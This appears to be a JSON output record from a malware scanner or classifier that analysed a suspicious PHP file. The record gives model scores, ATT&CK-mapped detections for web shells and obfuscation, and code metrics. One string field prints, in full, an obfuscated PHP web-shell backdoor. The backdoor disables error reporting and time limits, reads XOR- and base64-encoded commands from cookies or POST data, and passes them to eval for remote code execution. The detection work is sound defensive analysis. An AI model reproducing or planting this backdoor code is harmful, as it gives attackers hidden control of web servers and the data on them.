{
  "ml": {
    "v": "4",
    "fs": [
      {
        "id": 0,
        "prob": 0.98420250415802,
        "class": 2
      }
    ],
    "prob": 0.9842025,
    "class": 2,
    "models": [
      {
        "m": "az",
        "prob": 0.8074518,
        "class": 0
      },
      {
        "m": "az/scripts",
        "prob": 0.87468535,
        "class": 0
      },
      {
        "m": "az/php",
        "prob": 0.9842025,
        "class": 2
      }
    ],
    "version": "v16.16",
    "thresholds": [
      0.9961138,
      0.99909174
    ],
    "analyzed_at": "2026-05-09T10:33:57Z"
  },
  "path": "47.91.246.242",
  "raw": {
    "v": "4",
    "fs": [
      {
        "f": "O₂(AsC₂)Md₂",
        "k": {
          "source.imports[0]": "urldecode",
          "source.strings[0]": "$payload_file = \"$c3bfb = 390;$GLOBALS['nbc2c493'] = Array();global $nbc2c493;$nbc2c493 = $GLOBALS;${\"\\x47\\x4c\\x4fB\\x41\\x4c\\x53\"}['h29777e'] = \"\\x7a\\x32\\x5f\\x58\\x29\\x22\\x75\\x74\\x3b\\x49\\x70\\x61\\x21\\x27\\x2d\\x4d\\x5d\\x43\\x26\\x79\\x4b\\x66\\x53\\x72\\x5c\\x44\\x60\\x56\\x55\\x2f\\x6b\\x7c\\x31\\x45\\x5b\\x67\\x71\\x3f\\x24\\x4e\\x3a\\x7e\\x4a\\x4f\\x65\\x5e\\x77\\x73\\x2b\\x20\\x46\\x9\\x2e\\x3c\\x48\\x57\\x54\\x7b\\x7d\\x64\\x41\\x2c\\x39\\x6d\\x33\\x6a\\x6f\\x37\\xa\\x34\\x6c\\x52\\x50\\x2a\\x69\\x51\\x3d\\x63\\x4c\\x47\\xd\\x25\\x59\\x68\\x40\\x36\\x28\\x35\\x78\\x30\\x38\\x3e\\x76\\x6e\\x5a\\x42\\x23\\x62\";$nbc2c493[$nbc2c493['h29777e'][83].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][32]] = $nbc2c493['h29777e'][77].$nbc2c493['h29777e'][83].$nbc2c493['h29777e'][23];$nbc2c493[$nbc2c493['h29777e'][46].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][11]] = $nbc2c493['h29777e'][66].$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][59];$nbc2c493[$nbc2c493['h29777e'][92].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][21]] = $nbc2c493['h29777e'][59].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][93].$nbc2c493['h29777e'][44];$nbc2c493[$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][90]] = $nbc2c493['h29777e'][47].$nbc2c493['h29777e'][7].$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][70].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][93];$nbc2c493[$nbc2c493['h29777e'][70].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][90]] = $nbc2c493['h29777e'][59].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][93].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][59];$nbc2c493[$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][59]] = $nbc2c493['h29777e'][74].$nbc2c493['h29777e'][93].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][2].$nbc2c493['h29777e'][47].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][7];$nbc2c493[$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][44]] = $nbc2c493['h29777e'][47].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][70].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][0].$nbc2c493['h29777e'][44];$nbc2c493[$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][85]] = $nbc2c493['h29777e'][10].$nbc2c493['h29777e'][83].$nbc2c493['h29777e'][10].$nbc2c493['h29777e'][92].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][47].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][66].$nbc2c493['h29777e'][93];$nbc2c493[$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][32]] = $nbc2c493['h29777e'][6].$nbc2c493['h29777e'][93].$nbc2c493['h29777e'][47].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][70].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][0].$nbc2c493['h29777e'][44];$nbc2c493[$nbc2c493['h29777e'][65].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][21]] = $nbc2c493['h29777e'][97].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][47].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][2].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][66].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][44];$nbc2c493[$nbc2c493['h29777e'][36].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][67]] = $nbc2c493['h29777e'][47].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][7].$nbc2c493['h29777e'][2].$nbc2c493['h29777e'][7].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][63].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][2].$nbc2c493['h29777e'][70].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][63].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][7];$nbc2c493[$nbc2c493['h29777e'][65].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][1].$nbc2c493['h29777e'][1]] = $nbc2c493['h29777e'][0].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][1];$nbc2c493[$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][1]] = $nbc2c493['h29777e'][97].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][44];$nbc2c493[$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][1].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][1].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][59]] = $_POST;$nbc2c493[$nbc2c493['h29777e'][88].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][11]] = $_COOKIE;@$nbc2c493[$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][59]]($nbc2c493['h29777e'][44].$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][66].$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][2].$nbc2c493['h29777e'][70].$nbc2c493['h29777e'][66].$nbc2c493['h29777e'][35], NULL);@$nbc2c493[$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][59]]($nbc2c493['h29777e'][70].$nbc2c493['h29777e'][66].$nbc2c493['h29777e'][35].$nbc2c493['h29777e'][2].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][66].$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][47], 0);@$nbc2c493[$nbc2c493['h29777e'][23].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][59]]($nbc2c493['h29777e'][63].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][88].$nbc2c493['h29777e'][2].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][88].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][6].$nbc2c493['h29777e'][7].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][66].$nbc2c493['h29777e'][93].$nbc2c493['h29777e'][2].$nbc2c493['h29777e'][7].$nbc2c493['h29777e'][74].$nbc2c493['h29777e'][63].$nbc2c493['h29777e'][44], 0);@$nbc2c493[$nbc2c493['h29777e'][36].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][67]](0);if (!$nbc2c493[$nbc2c493['h29777e'][70].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][90]]($nbc2c493['h29777e'][60].$nbc2c493['h29777e'][78].$nbc2c493['h29777e'][71].$nbc2c493['h29777e'][33].$nbc2c493['h29777e'][60].$nbc2c493['h29777e'][25].$nbc2c493['h29777e'][82].$nbc2c493['h29777e'][2].$nbc2c493['h29777e'][71].$nbc2c493['h29777e'][28].$nbc2c493['h29777e'][39].$nbc2c493['h29777e'][2].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][1].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][1].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][1].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][11])){$nbc2c493[$nbc2c493['h29777e'][92].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][21]]($nbc2c493['h29777e'][60].$nbc2c493['h29777e'][78].$nbc2c493['h29777e'][71].$nbc2c493['h29777e'][33].$nbc2c493['h29777e'][60].$nbc2c493['h29777e'][25].$nbc2c493['h29777e'][82].$nbc2c493['h29777e'][2].$nbc2c493['h29777e'][71].$nbc2c493['h29777e'][28].$nbc2c493['h29777e'][39].$nbc2c493['h29777e'][2].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][1].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][1].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][1].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][11], 1);$e4677 = NULL;$j3cfc7 = NULL;$nbc2c493[$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][59]] = $nbc2c493['h29777e'][87].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][14].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][14].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][14].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][14].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][67];global $a69cb5dd;function  bb54cfe($e4677, $k91a){global $nbc2c493;$fad1ea = \"\";for ($f50d=0; $f50d\u003c$nbc2c493[$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][90]]($e4677);){for ($p79bdb7eb=0; $p79bdb7eb\u003c$nbc2c493[$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][90]]($k91a) \u0026\u0026 $f50d\u003c$nbc2c493[$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][90]]($e4677); $p79bdb7eb++, $f50d++){$fad1ea .= $nbc2c493[$nbc2c493['h29777e'][83].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][32]]($nbc2c493[$nbc2c493['h29777e'][46].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][11]]($e4677[$f50d]) ^ $nbc2c493[$nbc2c493['h29777e'][46].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][11]]($k91a[$p79bdb7eb]));}}return $fad1ea;}function  z6e0c2($e4677, $k91a){global $nbc2c493;global $a69cb5dd;return $nbc2c493[$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][1]]($nbc2c493[$nbc2c493['h29777e'][44].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][1]]($e4677, $a69cb5dd), $k91a);}foreach ($nbc2c493[$nbc2c493['h29777e'][88].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][11]] as $k91a=\u003e$u684abc1){$e4677 = $u684abc1;$j3cfc7 = $k91a;}if (!$e4677){foreach ($nbc2c493[$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][1].$nbc2c493['h29777e'][32].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][1].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][87].$nbc2c493['h29777e'][59]] as $k91a=\u003e$u684abc1){$e4677 = $u684abc1;$j3cfc7 = $k91a;}}$e4677 = @$nbc2c493[$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][69].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][64].$nbc2c493['h29777e'][90].$nbc2c493['h29777e'][32]]($nbc2c493[$nbc2c493['h29777e'][65].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][1].$nbc2c493['h29777e'][1]]($nbc2c493[$nbc2c493['h29777e'][65].$nbc2c493['h29777e'][59].$nbc2c493['h29777e'][67].$nbc2c493['h29777e'][21]]($e4677), $j3cfc7));if (isset($e4677[$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][30]]) \u0026\u0026 $a69cb5dd==$e4677[$nbc2c493['h29777e'][11].$nbc2c493['h29777e'][30]]){if ($e4677[$nbc2c493['h29777e'][11]] == $nbc2c493['h29777e'][74]){$f50d = Array($nbc2c493['h29777e'][10].$nbc2c493['h29777e'][92] =\u003e @$nbc2c493[$nbc2c493['h29777e'][77].$nbc2c493['h29777e'][21].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][85]](),$nbc2c493['h29777e'][47].$nbc2c493['h29777e'][92] =\u003e $nbc2c493['h29777e'][32].$nbc2c493['h29777e'][52].$nbc2c493['h29777e'][89].$nbc2c493['h29777e'][14].$nbc2c493['h29777e'][32],);echo @$nbc2c493[$nbc2c493['h29777e'][97].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][85].$nbc2c493['h29777e'][62].$nbc2c493['h29777e'][44]]($f50d);}elseif ($e4677[$nbc2c493['h29777e'][11]] == $nbc2c493['h29777e'][44]){eval/*td3a67e05*/($e4677[$nbc2c493['h29777e'][59]]);}exit();}}\";",
          "source.has_imports": true
        },
        "x": 38,
        "id": 0,
        "is": [
          "urldecode"
        ],
        "ms": {
          "file": {
            "size": 23377.0
          },
          "text": {
            "digit_ratio": 0.67,
            "space_count": 2.0,
            "total_lines": 3.0,
            "char_entropy": 3.85,
            "unique_chars": 63.0,
            "import_density": 33.33,
            "lines_over_200": 1.0,
            "lines_over_500": 1.0,
            "string_density": 0.67,
            "avg_line_length": 7791.0,
            "lines_over_1000": 1.0,
            "max_line_length": 23336.0,
            "last_line_length": 32.0,
            "long_token_count": 1.0,
            "most_common_char": "%",
            "whitespace_ratio": 0.0,
            "most_common_ratio": 0.18,
            "identifier_density": 1.0,
            "line_length_stddev": 10991.98,
            "encoded_string_ratio": 1.0,
            "normalized_import_count": 0.58,
            "normalized_string_count": 1.15,
            "max_inline_whitespace_run": 1.0,
            "normalized_unique_identifiers": 1.26
          },
          "imports": {
            "total": 1.0,
            "unique_modules": 1.0,
            "third_party_count": 1.0,
            "third_party_ratio": 1.0
          },
          "strings": {
            "total": 2.0,
            "avg_length": 23317.0,
            "max_length": 23317.0,
            "avg_entropy": 3.83,
            "total_bytes": 46634.0,
            "very_long_strings": 2.0,
            "url_encoded_strings": 2.0
          },
          "comments": {},
          "functions": {},
          "identifiers": {
            "total": 3.0,
            "avg_length": 10.5,
            "max_length": 12.0,
            "min_length": 9.0,
            "avg_entropy": 2.99,
            "reuse_ratio": 0.67,
            "unique_count": 2.0,
            "length_stddev": 1.5,
            "all_lowercase_ratio": 1.0
          }
        },
        "ss": [
          [
            6,
            "url",
            "$payload_file = \"$c3bfb = 390;$GLOBALS['nbc2c493'] = Array();global $nbc2c493;$nbc2c493 = $GLOBALS;${\"\\x47\\x4c\\x4fB\\x41\\x4c\\x53\""
          ]
        ],
        "sz": 23377,
        "ts": [
          {
            "c": 0.8999999761581421,
            "d": "Very long line",
            "e": [
              "text.max_line_length = 23336.00"
            ],
            "i": "metadata/file/text/metrics::single-long-line",
            "l": 1
          },
          {
            "a": "T1505.003",
            "d": "PHP open tag",
            "e": [
              "\u003c?php"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/request::php-tag",
            "l": 1,
            "m": "B0030"
          },
          {
            "a": "T1505.003",
            "c": 0.8399999737739563,
            "d": "Near-zero whitespace script",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::near-zero-whitespace",
            "l": 1
          },
          {
            "c": 0.800000011920929,
            "d": "Very short file (under 12 lines)",
            "e": [
              "text.total_lines = 3.00"
            ],
            "i": "metadata/file/text/metrics::file-under-12-lines",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "Exactly one line exceeds 1000 chars",
            "e": [
              "text.lines_over_1000 = 1.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::single-long-line-outlier",
            "l": 1,
            "m": "B0032"
          },
          {
            "a": "T1505.003",
            "c": 0.8600000143051147,
            "d": "Very long embedded string",
            "e": [
              "strings.max_length = 23317.00"
            ],
            "i": "objectives/command-and-control/backdoor/webshell/stager::very-long-string",
            "l": 1
          },
          {
            "a": "T1027",
            "c": 0.8999999761581421,
            "d": "PHP source contains very long line",
            "e": [
              "text.max_line_length = 23336.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/identifiers::php-single-long-line",
            "l": 4,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.699999988079071,
            "d": "Very low whitespace ratio (minified/compressed)",
            "e": [
              "text.whitespace_ratio = 0.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/structure::low-whitespace",
            "l": 2,
            "m": "B0032"
          },
          {
            "a": "T1027",
            "c": 0.4000000059604645,
            "d": "Very few string literals (string obfuscation indicator)",
            "e": [
              "strings.total = 2.00"
            ],
            "i": "objectives/anti-static/obfuscation/code-metrics/strings::few-strings",
            "l": 3,
            "m": "B0032"
          },
          {
            "c": 1.0,
            "d": "php code embedded in string",
            "e": [
              "Detected php at offset 0x0"
            ],
            "i": "metadata/lang/embedded::php",
            "l": 2
          },
          {
            "c": 0.8999999761581421,
            "d": "Encoded payload detected: url",
            "e": [
              "$payload_file = \"$c3bfb = 390;$GLOBALS[' \u003curl\u003e"
            ],
            "i": "metadata/encoded-payload/url",
            "l": 3
          }
        ],
        "sha": "b19ace6ae7a602236db7f11dd1561d82156f2ac0af778eea928656f6ffc2ef1b",
        "path": "47.91.246.242",
        "type": "php"
      }
    ],
    "tv": "a9555"
  }
}